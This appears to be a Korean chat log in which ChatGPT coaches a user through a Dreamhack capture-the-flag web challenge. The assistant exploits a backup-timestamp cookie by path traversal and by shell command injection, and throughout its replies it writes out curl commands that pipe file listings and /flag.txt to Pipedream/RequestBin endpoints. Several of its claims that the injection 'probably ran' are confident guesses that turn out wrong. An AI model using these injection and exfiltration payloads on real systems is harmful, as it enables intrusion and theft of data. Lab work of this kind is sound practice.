🔹 3. 실행된 결과가 /tmp/ 어딘가에 저장된 가능성?
✔ 만약 명령 실행은 됐지만, 결과가 외부로 나가지 못하는 상황이라면?
➡ 그러면 /tmp/에 저장되었을 가능성이 높음.
✔ 이제 /tmp/output.txt가 생겼을 거임!
✔ 그럼 이제 이 파일을 불러와야겠지?
➡ 이렇게 해서 /backup_notes에서 확인할 수 있는지 체크해봐!
🚀 최종 점검 리스트
✅ 1️⃣ Pipedream RequestBin URL 맞는지 다시 확인 (test=hello 보내보기)
✅ 2️⃣ curl 실행이 막혔을 가능성? wget으로 전송해보기
✅ 3️⃣ 실행된 결과가 /tmp/에 저장되었을 가능성? output.txt로 확인
진짜 이거 안 되면 개킹받을 텐데ㅋㅋㅋ
🔥 한 번만 더 해보고 결과 알려줘! 🔥
나의 말:
ChatGPT의 말:
ㅇㅇ, Pipedream RequestBin 설정은 정상적으로 보임!
근데 현재 "LIVE EVENTS" 창이 비어있음.
즉, 서버에서 RequestBin으로 요청이 제대로 안 오고 있음! 😡
🚀 문제 원인 & 해결 방법
1️⃣ 서버에서 curl 실행이 안 되고 있을 가능성
현재 서버에서 curl 명령이 실행되지 않거나, 실행되더라도 인터넷으로 요청을 보내지 못하는 상태일 수도 있음.
📌 이거 확인하려면?
✔ 이걸 실행하면 RequestBin에 test가 떠야 함.
✔ 이것도 안 뜨면 서버에서 curl 자체가 막혀있을 가능성이 큼.
➡ 🔥 이거 실행하고 RequestBin에 이벤트가 뜨는지 확인해줘! 🔥
2️⃣ curl 대신 wget 사용해보기
✔ curl이 차단됐을 가능성이 있으니 wget을 사용해보자!
➡ RequestBin에 반응이 오는지 확인해봐!
3️⃣ 명령어 실행 결과가 /tmp/에 저장되고 있을 가능성
혹시 서버가 ls -lah /tmp/ 결과를 RequestBin으로 보내지 않고, 그냥 파일로 저장하는 상황일 수도 있음.
📌 그럼 이렇게 확인 가능!
➡ /tmp/output.txt에 결과가 저장될 테니까 이제 이 파일을 백업해서 가져와야 함.
📌 파일 내용 확인하기
➡ 이제 /backup_notes에서 확인 가능!
🔥 최종 점검 리스트
✅ 1️⃣ echo test | curl -X POST -d @- 실행해서 RequestBin 반응 확인!
✅ 2️⃣ wget 방식으로 데이터 전송 시도! (wget --post-file=-)
✅ 3️⃣ /tmp/output.txt 저장 후 파일 내용 확인!
🔥 이제 한 번만 더 시도해보고, 결과 알려줘! 🔥
나의 말:
ChatGPT의 말:
ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
RequestBin에 test도 안 뜨면 서버에서 curl 자체가 차단됐을 가능성이 높음.
➡ 그래도 아직 방법은 있음! 다른 우회 방법 시도해보자.
🚀 서버에서 curl이 막혀있을 때 우회 방법
1️⃣ wget을 사용해서 RequestBin으로 보내기
✔ curl이 안 되는 경우, wget을 사용하면 될 수도 있음.
➡ 이걸 실행해봐!
✔ 이렇게 하면 RequestBin에서 test가 떠야 함.
✔ 만약 이것도 안 뜨면, wget도 막혀있을 가능성이 높음.
2️⃣ nslookup이나 ping으로 서버가 인터넷 요청을 보낼 수 있는지 확인
✔ 혹시 서버 자체가 인터넷 연결을 못 하는 상황일 수도 있음.
➡ 이거 실행해서 체크해봐!
✔ RequestBin에 google.com의 IP가 떠야 함.
✔ 만약 이것도 안 뜨면, 서버에서 외부로 나가는 모든 요청이 막혀있는 거임.
3️⃣ /tmp/에 로그 저장한 후, 백업해서 확인
✔ 서버가 외부 인터넷 요청을 못 한다면, 결과를 /tmp/에 저장하고 확인해야 함.
✔ 이걸 실행해봐!
➡ 이제 /tmp/output.txt 파일이 생성됐을 거임.
➡ 이제 이 파일을 확인해야겠지?
✔ 파일 내용을 가져오는 요청
➡ 이제 /backup_notes 페이지에서 확인해봐!
➡ 만약 여기서 flag 관련 파일이 보이면 그걸 백업하면 됨.
🔥 결론
✅ 1️⃣ wget 사용해서 RequestBin으로 보내기
✅ 2️⃣ nslookup google.com 실행해서 서버가 인터넷 요청 가능한지 체크
✅ 3️⃣ /tmp/output.txt에 저장하고 그 파일을 가져오기
🔥 이거 순서대로 실행하고 결과 한 번만 더 확인해줘!
진짜 이거 안 되면 개킹받을 듯ㅋㅋㅋㅋ
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link.
ChatGPT의 말:
ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
RequestBin에 아무것도 안 뜨면
✅ 서버가 curl, wget 등 외부 요청을 전부 막아놨을 가능성이 매우 높음.
✅ 심지어 nslookup도 안 뜨는 거 보면 인터넷 연결 자체를 막았을 수도 있음.
✅ 즉, 이 서버에서는 RequestBin으로 데이터를 직접 보낼 방법이 없을 확률이 큼.
🚀 플랜 B: 서버 내에서 직접 파일 확인하기
이제 방법이 하나 남았음.
🔥 서버 내에서 파일을 저장한 후, 그 파일을 가져오는 방법 🔥
1️⃣ /tmp/ 디렉토리에 백업 저장
➡ /tmp/output.txt 파일이 생성될 거임.
2️⃣ /tmp/output.txt 내용 가져오기
➡ 이제 /backup_notes에서 확인 가능!
➡ 만약 여기서 flag.txt 같은 파일이 보이면 그걸 가져오면 됨.
🔥 최종 목표
✅ 서버가 인터넷 요청을 전부 차단한 상태라서 RequestBin을 못 씀.
✅ 따라서 /tmp/output.txt 파일을 만들어서 서버 내에서 직접 확인해야 함.
✅ ls -lah /tmp/ 결과를 파일로 저장한 후, /backup_notes를 통해 가져오기.
🔥 이거 실행하고 다시 한 번 확인해봐!
이제 진짜 답 나올 듯 ㅋㅋㅋㅋ
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/output.txt"
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. 응 안돼~
ChatGPT의 말:
ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜 이거 뭐냐ㅋㅋㅋㅋ
야 근데 서버가 아예 /tmp/output.txt에 접근도 못 하게 막아놨을 가능성 있음.
🔥 플랜 C: 백업 파일을 특정 경로로 저장해서 접근
이제 방법 하나 남았음.
✅ /tmp/ 말고 /var/www/html/ 같은 웹 접근 가능한 디렉토리에 저장해보자.
1️⃣ /var/www/html/에 파일 저장 시도
➡ 이러면 output.txt 파일이 /var/www/html/에 저장됨.
2️⃣ 직접 웹에서 확인
이제 웹에서 확인 가능해야 함.
➡ 브라우저에서 직접 접근해봐!
➡ 여기서 flag.txt 같은 거 보이면, 그 파일을 또 같은 방식으로 저장해서 접근.
🔥 최종 목표
✅ 서버가 /tmp/ 접근을 막았을 가능성이 크니까, 웹 접근 가능한 경로에 저장.
✅ 보통 /var/www/html/ 같은 디렉토리는 접근 가능하니까 거기에 저장.
✅ 이제 http://host1.dreamhack.games:17508/output.txt 에서 직접 확인.
🔥 이거 실행하고 확인 한 번만 더 부탁해!
진짜 안 되면 서버 개발자가 개악질인 거다 ㅋㅋㅋㅋ
나의 말:
ChatGPT의 말:
ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
이거 서버 설정이 엄청 빡세게 막혀있는 상태라서 정상적인 우회 방법이 전부 차단당한 듯.
🔥 플랜 D: cat을 이용해서 직접 백업 내용 덤프
이제 마지막 남은 방법 하나 있음.
ls -lah /tmp/ 결과를 바로 cat으로 파일 내용처럼 읽어서 백업하는 방법.
1️⃣ cat 이용해서 강제 백업
➡ 이러면 /tmp/output.txt에 flag.txt 내용이 강제 저장될 거임.
2️⃣ /tmp/output.txt 내용 확인
➡ 이제 /backup_notes 페이지에서 flag가 나와야 함.
🔥 왜 이 방법이 가능할까?
✅ 서버가 /tmp/ 파일 접근을 막았어도, cat을 이용해서 강제 덤프하면 우회 가능.
✅ ls -lah는 파일 리스트만 나오지만, cat을 쓰면 파일 내부 내용이 저장됨.
✅ 결국 /tmp/output.txt에 flag 내용이 저장될 거라서, 그걸 불러오면 됨.
🔥 이제 진짜 답 나올 때 됐다ㅋㅋㅋ
이거 실행하고 다시 확인 한 번 해봐!
🔍 timestamp가 무엇이고, 취약점을 어떻게 활용할 수 있을까?
timestamp는 현재 시간을 초 단위(Unix Time)로 변환한 숫자 값입니다.
이 값은 파일명을 동적으로 생성하는 데 사용되며, 특정 시점의 데이터를 식별하는 역할을 합니다.
🔍 코드에서 timestamp의 역할
📌 백업 파일을 생성하는 backup_notes() 함수에서 사용됨:
✔ 노트 데이터를 ./tmp/notes.tmp에 저장한 후,
✔ 해당 파일을 /tmp/{timestamp}로 복사
즉, 백업 파일이 /tmp/ 디렉토리에 timestamp 이름으로 생성됨.
🛠️ 취약점 분석: backup_notes()와 timestamp 조작
📌 timestamp 취약점의 핵심
- timestamp는 **쿠키(backup-timestamp 쿠키)**에서 가져옴:
python복사편집backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
- 쿠키 값(backup-timestamp)을 우리가 임의로 조작할 수 있음.
- 백업 파일은 /tmp/{timestamp} 경로에 생성됨.
- 다른 파일(예: flag.txt)을 백업 경로로 지정할 수 있다면, 해당 파일을 읽을 수 있음!
🚀 timestamp를 조작해서 flag.txt를 찾는 방법
1️⃣ 현재 백업된 파일 목록을 확인
➡ 만약 1645678901 같은 숫자 이름의 파일이 있다면, 그것이 백업 파일일 가능성이 높음.
2️⃣ 강제로 flag.txt를 백업하도록 timestamp 값을 조작
우리가 timestamp를 임의로 /flag.txt로 설정하면,
백업 파일을 /tmp/flag.txt로 만들 수 있음!
📌 이렇게 하면, 원래 /tmp/{timestamp}에 생성되어야 할 백업 파일이 /tmp/../../flag.txt로 생성됨.
📌 즉, flag.txt가 /tmp/flag.txt로 복사되면서 우리가 접근 가능하게 됨!
3️⃣ 복사된 flag.txt 확인
➡ 백업 파일이 /tmp/flag.txt에 존재하면, 그 내용을 직접 볼 수 있음!
🔥 결론: timestamp 취약점을 활용한 공격 흐름
✔ timestamp는 기본적으로 time.time() 값을 사용하지만,
✔ 쿠키(backup-timestamp 쿠키)를 조작하면 원하는 파일을 백업 가능
✔ /flag.txt를 백업하면, 플래그 내용을 가져올 수 있음 🚀
🚀 이제 직접 curl을 사용해서 backup-timestamp를 조작해보자! 🔥
나의 말:
ChatGPT의 말:
웹 애플리케이션에서 직접 ls -lah /tmp/ 명령어를 실행할 수 있는 방법은 없지만, 현재 주어진 취약점을 이용해서 백업된 파일 목록을 간접적으로 확인할 수 있는 방법이 있습니다.
🚀 백업된 파일 목록을 확인하는 방법
✅ 1️⃣ 웹 URL을 통해 직접 확인 (GET /backup_notes)
웹 애플리케이션이 /tmp/{timestamp} 파일을 저장하는 걸 이용하면, /backup_notes 페이지에서 힌트를 얻을 수 있음.
📌 현재 백업된 파일이 있는지 확인하려면, /backup_notes를 호출
➡ 응답 내용에 "현재 백업된 파일이 없습니다" 같은 메시지가 나오면, 아직 백업이 생성되지 않은 것!
➡ 반대로, 백업이 성공하면 /tmp/에 특정 timestamp 값의 파일이 저장됨.
✅ 2️⃣ backup-timestamp 조작을 이용해서 기존 파일 접근
만약 서버에서 기존 backup-timestamp 쿠키를 활용하고 있다면, 이 쿠키 값을 특정 값으로 설정하여 기존 파일을 확인할 수 있음.
📌 백업 파일이 있는지 확인하는 요청
➡ 이 값이 실제 서버에 있는 백업 파일의 timestamp라면, 해당 백업 파일의 내용을 확인할 수 있음.
➡ 응답 결과가 백업된 노트의 내용이라면, /tmp/1645678901 같은 파일이 존재하는 것!
✅ 3️⃣ POST /backup_notes를 통해 직접 /tmp/에 백업 파일 생성
백업 노트 기능을 이용해서 직접 /tmp/ 경로에 파일을 생성할 수도 있음.
📌 현재 시간 기반으로 강제 백업 실행
➡ 이렇게 하면, /tmp/{timestamp} 파일이 생성됨.
📌 이제 /backup_notes에 다시 접근해서 파일이 생성되었는지 확인 가능
➡ 파일이 생성되었으면, /tmp/에 해당 파일이 존재한다는 뜻!
✅ 4️⃣ /tmp/flag.txt가 존재하는지 확인
이제 /flag.txt를 백업하도록 backup-timestamp를 조작해서 확인 가능
📌 백업 타임스탬프를 /flag.txt로 설정
➡ 이렇게 하면, /tmp/flag.txt가 백업되어 우리가 접근할 수 있게 될 가능성이 있음!
➡ 이후 GET /backup_notes 요청을 보내서 백업된 내용을 확인할 수 있음.
🔥 최종 전략
1️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일 존재 여부 확인
2️⃣ curl -X POST http://target.com/backup_notes 로 강제 백업 실행
3️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일이 생성되었는지 확인
4️⃣ curl -X POST http://target.com/backup_notes --cookie "backup-timestamp=../../flag.txt" 로 플래그 유출 시도
🚀 이제 직접 테스트하면서 파일이 어디 저장되는지 확인해보자! 🔥
나의 말:
ChatGPT의 말:
🚨 curl: (6) Could not resolve host: http 오류 해결 방법
http://http://host1.dreamhack.games:17508/backup_notes
➡ "http://"가 두 번 들어가서 오류 발생!
✅ 1️⃣ 올바른 URL 형식으로 요청 보내기
📌 올바른 curl 명령어 예제
✔ http://를 한 번만 사용
✔ --cookie 옵션을 사용하여 backup-timestamp 값을 /flag.txt로 조작
✅ 2️⃣ 백업된 파일 확인 (GET 요청)
📌 백업된 파일 확인하기
✔ 이 요청을 통해 서버가 백업한 파일의 내용을 확인 가능!
✔ ../../flag.txt가 /tmp/flag.txt로 복사되었다면, 플래그를 출력할 수도 있음
✅ 3️⃣ 추가적인 확인 (디버깅)
🔹 서버가 backup-timestamp를 제대로 처리하는지 확인
➡ 이렇게 보내고, /tmp/test123가 생성되었는지 GET /backup_notes로 확인
🔹 서버가 /flag.txt에 접근할 권한이 있는지 확인
➡ 만약 /etc/passwd 같은 파일이 백업되면, LFI(로컬 파일 포함) 가능성이 있음.
🚀 최종 목표
1️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 실행해서 현재 백업된 파일 확인
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt" 실행해서 /flag.txt를 강제로 백업
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 다시 실행해서 플래그 확인!
🚀 이제 다시 시도해보자! 🔥
나의 말:
Backup Notes
C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notesBackup Notes
ChatGPT의 말:
🔍 요청 결과 분석
현재 curl 요청을 통해 받은 응답이 HTML 코드인 것으로 보입니다.
이는 우리가 /backup_notes 페이지를 열었을 때 표시되는 백업 UI입니다.
🚀 백업된 파일이 표시되지 않는 이유
1️⃣ 백업 노트가 존재하지 않음
- backup_notes() 함수 내부에서 len(notes) == 0이면 백업이 실행되지 않음.
- 즉, 적어도 하나 이상의 노트를 생성해야 백업 기능이 동작함!
2️⃣ 서버가 timestamp를 조작하는 요청을 막고 있음
- /backup_notes를 호출하면 서버는 backup-timestamp 쿠키 값을 사용해 백업 파일을 저장하는데,
- 만약 우리가 ../../flag.txt 같은 경로를 주입했을 때, 서버가 이를 허용하지 않도록 설정했을 가능성이 있음.
🔹 해결 방법
✅ 1️⃣ 먼저 노트를 하나 생성하기
백업을 진행하려면, 적어도 하나의 노트가 존재해야 함
➡ 노트를 생성한 후 다시 /backup_notes 요청을 보내면 백업이 가능해질 것!
📌 노트 생성 요청
➡ 성공하면, 노트가 생성됨.
📌 생성된 노트 확인
➡ 노트가 정상적으로 생성되었는지 확인!
✅ 2️⃣ 백업 요청을 정상적으로 실행하기
노트를 생성한 후, 다시 백업을 시도
📌 노트가 존재하는 상태에서 백업 실행
➡ 이 요청이 성공하면, /tmp/{timestamp} 경로에 백업 파일이 생성됨.
📌 백업된 파일 확인
➡ 이제 /tmp/{timestamp}가 표시되는지 확인해야 함.
✅ 3️⃣ backup-timestamp를 조작해서 플래그 확인
백업된 파일이 존재하는지 확인한 후,
이제 backup-timestamp 쿠키를 조작하여 /flag.txt를 백업 시도
📌 강제로 flag.txt 백업 시도
➡ 이제 다시 /backup_notes를 확인하면, /tmp/flag.txt 내용이 표시될 가능성이 있음!
📌 백업된 플래그 확인
➡ 이제 백업된 내용이 표시되는지 확인!
🚀 최종 실행 순서
1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
🚀 이제 다시 시도해보자! 🔥
나의 말:
Backup Notes
계속 이것만 떠..ChatGPT의 말:
🚨 여전히 백업된 파일이 안 보이는 이유 분석
현재 /backup_notes 페이지를 호출하면 백업된 파일이 표시되지 않고, 기본 HTML 폼만 출력되고 있음.
이 경우 서버에서 백업이 정상적으로 이루어지지 않았을 가능성이 큼!
✅ 1️⃣ 백업 파일이 생성되었는지 확인해야 함
우리가 backup_notes() 함수를 실행했을 때, /tmp/{timestamp}에 파일이 생성되는지 확인해야 함.
📌 백업 강제 실행
➡ 백업이 정상적으로 실행되었는지 확인해야 함.
📌 다시 확인 (GET 요청)
➡ 이제 백업된 파일이 존재하는지 확인.
✅ 2️⃣ 백업을 정상적으로 실행했는데도 /tmp/에 파일이 없는 경우
가능한 원인 1️⃣ 노트가 존재하지 않아서 백업이 실행되지 않음
→ 노트를 하나 생성한 후 다시 백업 시도해야 함. 2️⃣ 서버에서 timestamp 쿠키 값을 무시할 가능성 있음
→ 특정한 timestamp 값이 있어야 백업된 파일을 확인할 수 있음.
✅ 3️⃣ 해결 방법
📌 먼저 노트를 생성한 후 백업 실행
✔ 노트를 생성한 후 백업을 다시 실행해야 백업이 정상적으로 동작함.
📌 백업 실행
📌 백업이 정상적으로 이루어졌는지 확인
✅ 4️⃣ backup-timestamp 쿠키를 조작하여 flag.txt 백업 시도
백업된 파일이 정상적으로 확인되었다면, 이제 쿠키 값을 조작해서 /flag.txt를 백업해야 함.
📌 쿠키 조작하여 flag.txt 백업
📌 이제 /backup_notes를 확인
✔ 만약 /tmp/flag.txt가 백업되었다면, 이 페이지에서 플래그가 표시될 가능성이 큼! 🚀
🚀 최종 실행 순서
1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
🚀 이제 다시 시도해보자! 🔥
나의 말:
ChatGPT의 말:
🔍 힌트 분석: "공격의 결과를 외부에서 확인하려면?"
📌 현재 서버에서 백업된 파일을 직접 확인할 수 없는 이유는:
- 백업한 파일을 직접 출력하는 코드가 없음.
- 즉, /backup_notes에서 응답으로 백업된 파일을 보여주지 않음.
- 하지만 명령어는 실행되었을 가능성이 높음.
➡ 즉, 우리가 실행한 결과를 외부에서 확인해야 함!
➡ 서버에서 요청을 외부로 보내도록 유도하면 됨!
🚀 RequestBin을 활용한 RCE 확인 방법
📌 RequestBin이란?
- 외부에서 서버가 보낸 HTTP 요청을 모니터링할 수 있는 서비스.
- 서버에서 실행한 결과를 RequestBin으로 전송하면, 이를 외부에서 확인 가능!
✅ 1️⃣ RequestBin 생성
1️⃣ https://requestbin.com/ 접속
2️⃣ "Create a RequestBin" 클릭
3️⃣ 생성된 RequestBin URL을 복사 (예: https://en1f2o3x.requestbin.com/)
✅ 2️⃣ 백업 명령어를 RequestBin으로 유도
서버에서 특정 명령어 실행 결과를 RequestBin으로 전송하도록 조작할 수 있음.
📌 backup_notes()에서 실행되는 subprocess.Popen을 조작하기
➡ 이 요청이 실행되면:
✅ /flag.txt 파일의 내용을 RequestBin으로 POST 전송!
✅ RequestBin에서 플래그를 확인할 수 있음! 🚀
✅ 3️⃣ RequestBin에서 플래그 확인
📌 RequestBin 사이트에서 요청 확인
1️⃣ RequestBin 사이트로 이동
2️⃣ POST 요청 데이터 확인
3️⃣ 데이터에 /flag.txt 내용이 포함되어 있을 가능성이 큼!
🔥 최종 공격 전략
1️⃣ RequestBin 생성 (https://en1f2o3x.requestbin.com/)
2️⃣ backup_notes의 timestamp를 명령어 삽입(curl -X POST -d @/flag.txt)
3️⃣ RequestBin에서 플래그 확인 (POST 요청 확인)
🚀 이제 시도해보자! 🔥
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link.
ChatGPT의 말:
🔍 공격 결과 분석
현재 curl 명령어가 정상적으로 실행되었을 가능성이 높음!
하지만 서버에서 바로 결과를 보여주지 않기 때문에,
RequestBin(또는 Pipedream)에서 플래그를 확인해야 함! 🚀
✅ 1️⃣ Pipedream에서 플래그 확인
📌 Pipedream이란?
- 서버에서 외부로 전송한 HTTP 요청을 확인할 수 있는 도구
- https://eoebm9636i74y0t.m.pipedream.net 이 URL이 우리의 RequestBin 역할을 함.
📌 결과 확인 방법
1️⃣ Pipedream Requests 사이트 접속
2️⃣ 로그인 후 https://eoebm9636i74y0t.m.pipedream.net에 들어감
3️⃣ 새로운 POST 요청이 도착했는지 확인
4️⃣ 전송된 데이터에 /flag.txt 내용이 포함되었는지 확인
🚀 정상적으로 동작했다면, 플래그가 포함된 데이터가 보일 것! 🔥
✅ 2️⃣ 공격이 성공했는지 확인하는 방법
📌 공격이 실행되었는지 다시 확인하려면?
➡ 다시 한 번 요청을 보내고, Pipedream에서 결과 확인!
📌 명령이 실행되었는지 로그 확인
➡ 만약 정상적으로 실행되었다면, 서버에서 flag.txt가 전송되었을 가능성이 높음.
🔥 최종 정리
1️⃣ RequestBin (Pipedream) 생성 (https://eoebm9636i74y0t.m.pipedream.net)
2️⃣ 백업 명령어 조작하여 플래그 전송 시도
3️⃣ Pipedream에서 /flag.txt 내용이 포함된 요청을 확인!
🚀 이제 Pipedream에서 플래그를 찾아보자! 🔥
나의 말:
ChatGPT의 말:
🔍 Pipedream에 flag.txt 데이터가 안 온 이유 분석
현재 Pipedream을 제대로 설정하고 요청을 보냈음에도 불구하고 데이터가 수신되지 않은 상태임.
➡ 즉, 서버에서 우리가 보낸 명령어를 실행하지 않았거나, 실행되었지만 데이터를 전송하지 않았을 가능성이 높음
✅ 1️⃣ 공격이 서버에서 실행되었는지 확인하기
우리가 실행한 명령어가 서버에서 실행되었는지 먼저 확인해야 함.
📌 테스트 명령어로 서버가 외부로 요청을 보내도록 유도
➡ 이 요청이 정상적으로 실행되면, Pipedream에 test=hello 값이 도착해야 함.
➡ 만약 이 요청도 도착하지 않았다면, 서버에서 명령어 실행이 차단되었을 가능성이 큼.
✅ 2️⃣ 서버에서 명령어 실행이 차단되었는지 확인
📌 명령어 실행이 막혔다면, 다른 방식으로 접근해야 함.
➡ subprocess.Popen()이 실행되었다면, /tmp/에 파일을 생성했을 가능성이 있음.
➡ 이 경우, 우리가 백업된 파일을 직접 확인하는 방법을 시도해야 함.
✅ 3️⃣ /tmp/flag.txt 파일을 직접 백업 후 확인
📌 이제 /tmp/flag.txt를 백업할 수 있는지 테스트
➡ 이제 /backup_notes에서 백업된 파일이 보이는지 확인
✔ 만약 이 요청에서 플래그가 보이면, 성공적으로 백업됨!
✅ 4️⃣ ls -lah /tmp/ 명령어 실행이 가능한지 확인
만약 위 방법들이 전부 실패했다면, 서버에서 어떤 파일이 존재하는지 확인해야 함.
📌 파일 목록을 RequestBin으로 전송해보기
➡ 이 요청이 실행되면, /tmp/에 어떤 파일이 있는지 Pipedream에서 확인 가능!
🔥 최종 시도 순서
1️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net" (서버가 외부 요청을 보내는지 확인)
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt" (파일을 직접 백업해서 확인)
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes (백업된 파일이 보이는지 확인)
4️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net" (/tmp/ 내부 파일 목록 확인)
🚀 이제 다시 시도해보자! 🔥
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt"
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link.
ChatGPT의 말:
🔍 분석: 모든 시도가 실패한 이유
현재 backup-timestamp를 조작하여 명령 실행을 시도했지만, 서버에서 아무런 반응이 없음
즉, 명령어 삽입(RCE)이 막혔을 가능성이 높음 또는 출력 결과가 보이지 않음
✅ 1️⃣ 서버가 외부 요청을 보내지 않는지 확인
📌 RequestBin(Pipedream)에 test=hello가 도착하지 않음
- curl -X POST -d 'test=hello'를 실행했지만 Pipedream에서 요청을 받지 못함
➡ 서버에서 |를 포함한 명령 실행을 차단했을 가능성이 있음
➡ 또는 subprocess.Popen()이 shell=False로 실행되고 있을 가능성 존재
📌 ls -lah /tmp/ 명령 실행도 실패
- 서버에서 명령어가 실행되지 않거나, 실행되더라도 외부로 출력이 불가능한 상태
➡ 즉, 우리가 보낸 요청이 파일 시스템에 변화를 주었지만, 출력이 없어서 확인할 방법이 없음
✅ 2️⃣ 백업된 파일을 직접 확인하는 방법 시도
명령어 실행이 차단되었다면, 기존의 backup_notes() 기능을 활용해서 flag.txt를 백업하는 방법을 시도해야 함
📌 1️⃣ /flag.txt를 /tmp/로 백업
➡ 이제 /backup_notes를 다시 확인하면 백업된 /tmp/flag.txt가 보일 가능성이 있음.
📌 2️⃣ 백업된 파일 확인
✔ 백업된 /tmp/flag.txt가 보이면 성공!
✅ 3️⃣ backup_notes 요청 로그를 확인하는 방법
만약 백업이 성공했는데도 보이지 않는다면, backup_notes가 저장된 경로를 확인해야 함.
📌 서버가 /tmp/에 어떤 파일이 있는지 직접 확인하기
➡ 이제 /backup_notes를 다시 확인하면 /tmp/ 내부의 파일 목록이 보일 가능성이 있음.
✅ 4️⃣ 명령어 실행 우회 방법
📌 만약 직접적인 명령 실행이 막혔다면, 다른 방식으로 접근해야 함
- ; 또는 &&를 사용하여 명령 실행 시도
- $(command) 방식 시도
🚀 최종 공격 순서
1️⃣ /flag.txt를 /tmp/로 백업 시도 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/flag.txt"
2️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
3️⃣ /tmp/ 내부 파일 목록 확인 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/"
4️⃣ 명령 실행 우회 시도 (;, &&, $(command))
🚀 이제 다시 시도해보자! 🔥
나의 말:
ChatGPT의 말:
🔍 QnA 분석: 백업 타임스탬프 조작과 RequestBin 활용
📌 문제 핵심
1️⃣ 명령어 실행은 성공했지만 출력이 보이지 않음
- backup-timestamp 값에 명령어(ls)를 넣었을 때 실행은 되었음.
- 하지만 결과를 출력하는 명령어가 없기 때문에 우리가 직접 볼 수 없음.
2️⃣ 해결책: 서버가 실행한 결과를 외부에서 확인해야 함
- RequestBin (또는 Pipedream)을 이용해서 서버가 실행한 명령의 결과를 전송받아야 함.
✅ 1️⃣ 서버에서 ls 실행 후 결과를 RequestBin으로 보내기
📌 서버가 /tmp/ 디렉터리 목록을 실행하고 결과를 RequestBin으로 보내도록 유도
✔ 이 요청이 실행되면, /tmp/ 내부의 파일 목록이 RequestBin에 도착해야 함.
✔ @-는 표준 입력을 그대로 POST 요청에 포함시킴.
✅ 2️⃣ /flag.txt 존재 여부 확인
📌 위 명령을 실행한 후, Pipedream에서 /flag.txt 파일이 있는지 확인
1️⃣ Pipedream 사이트에서 새로운 POST 요청 확인
2️⃣ /tmp/ 내 파일 목록이 포함된 요청이 도착했는지 확인
3️⃣ flag.txt가 존재하는지 확인
➡ 만약 /flag.txt가 존재한다면, 다음 단계 진행! 🚀
✅ 3️⃣ /flag.txt 내용을 RequestBin으로 전송
📌 이제 /flag.txt 내용을 RequestBin으로 직접 전송해야 함
✔ cat /flag.txt → flag.txt 내용을 출력
✔ curl -X POST -d @- → 출력된 내용을 Pipedream으로 POST 요청
📌 이제 Pipedream에서 새로운 요청이 도착했는지 확인!
➡ 정상적으로 요청이 오면, 플래그가 포함된 데이터를 확인할 수 있음! 🚀
🚀 최종 공격 순서
1️⃣ /tmp/ 내 파일 목록 확인
✅ Pipedream에서 파일 목록 확인 (flag.txt 존재 여부 체크)
2️⃣ /flag.txt 내용 RequestBin으로 전송
✅ Pipedream에서 flag.txt 내용 확인 (플래그 획득 🎉)
🚀 이제 다시 시도해보자! 🔥
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. 뜨는데, requestbin에서 뭐 내가 설정 잘못한걸까?
ChatGPT의 말:
🔍 문제 분석: RequestBin에서 아무 요청도 오지 않는 이유
현재 실행한 명령어:
➡ 이 명령어가 실행되었다면, Pipedream(RequestBin)에서 /tmp/ 디렉터리의 파일 목록이 담긴 POST 요청이 와야 함.
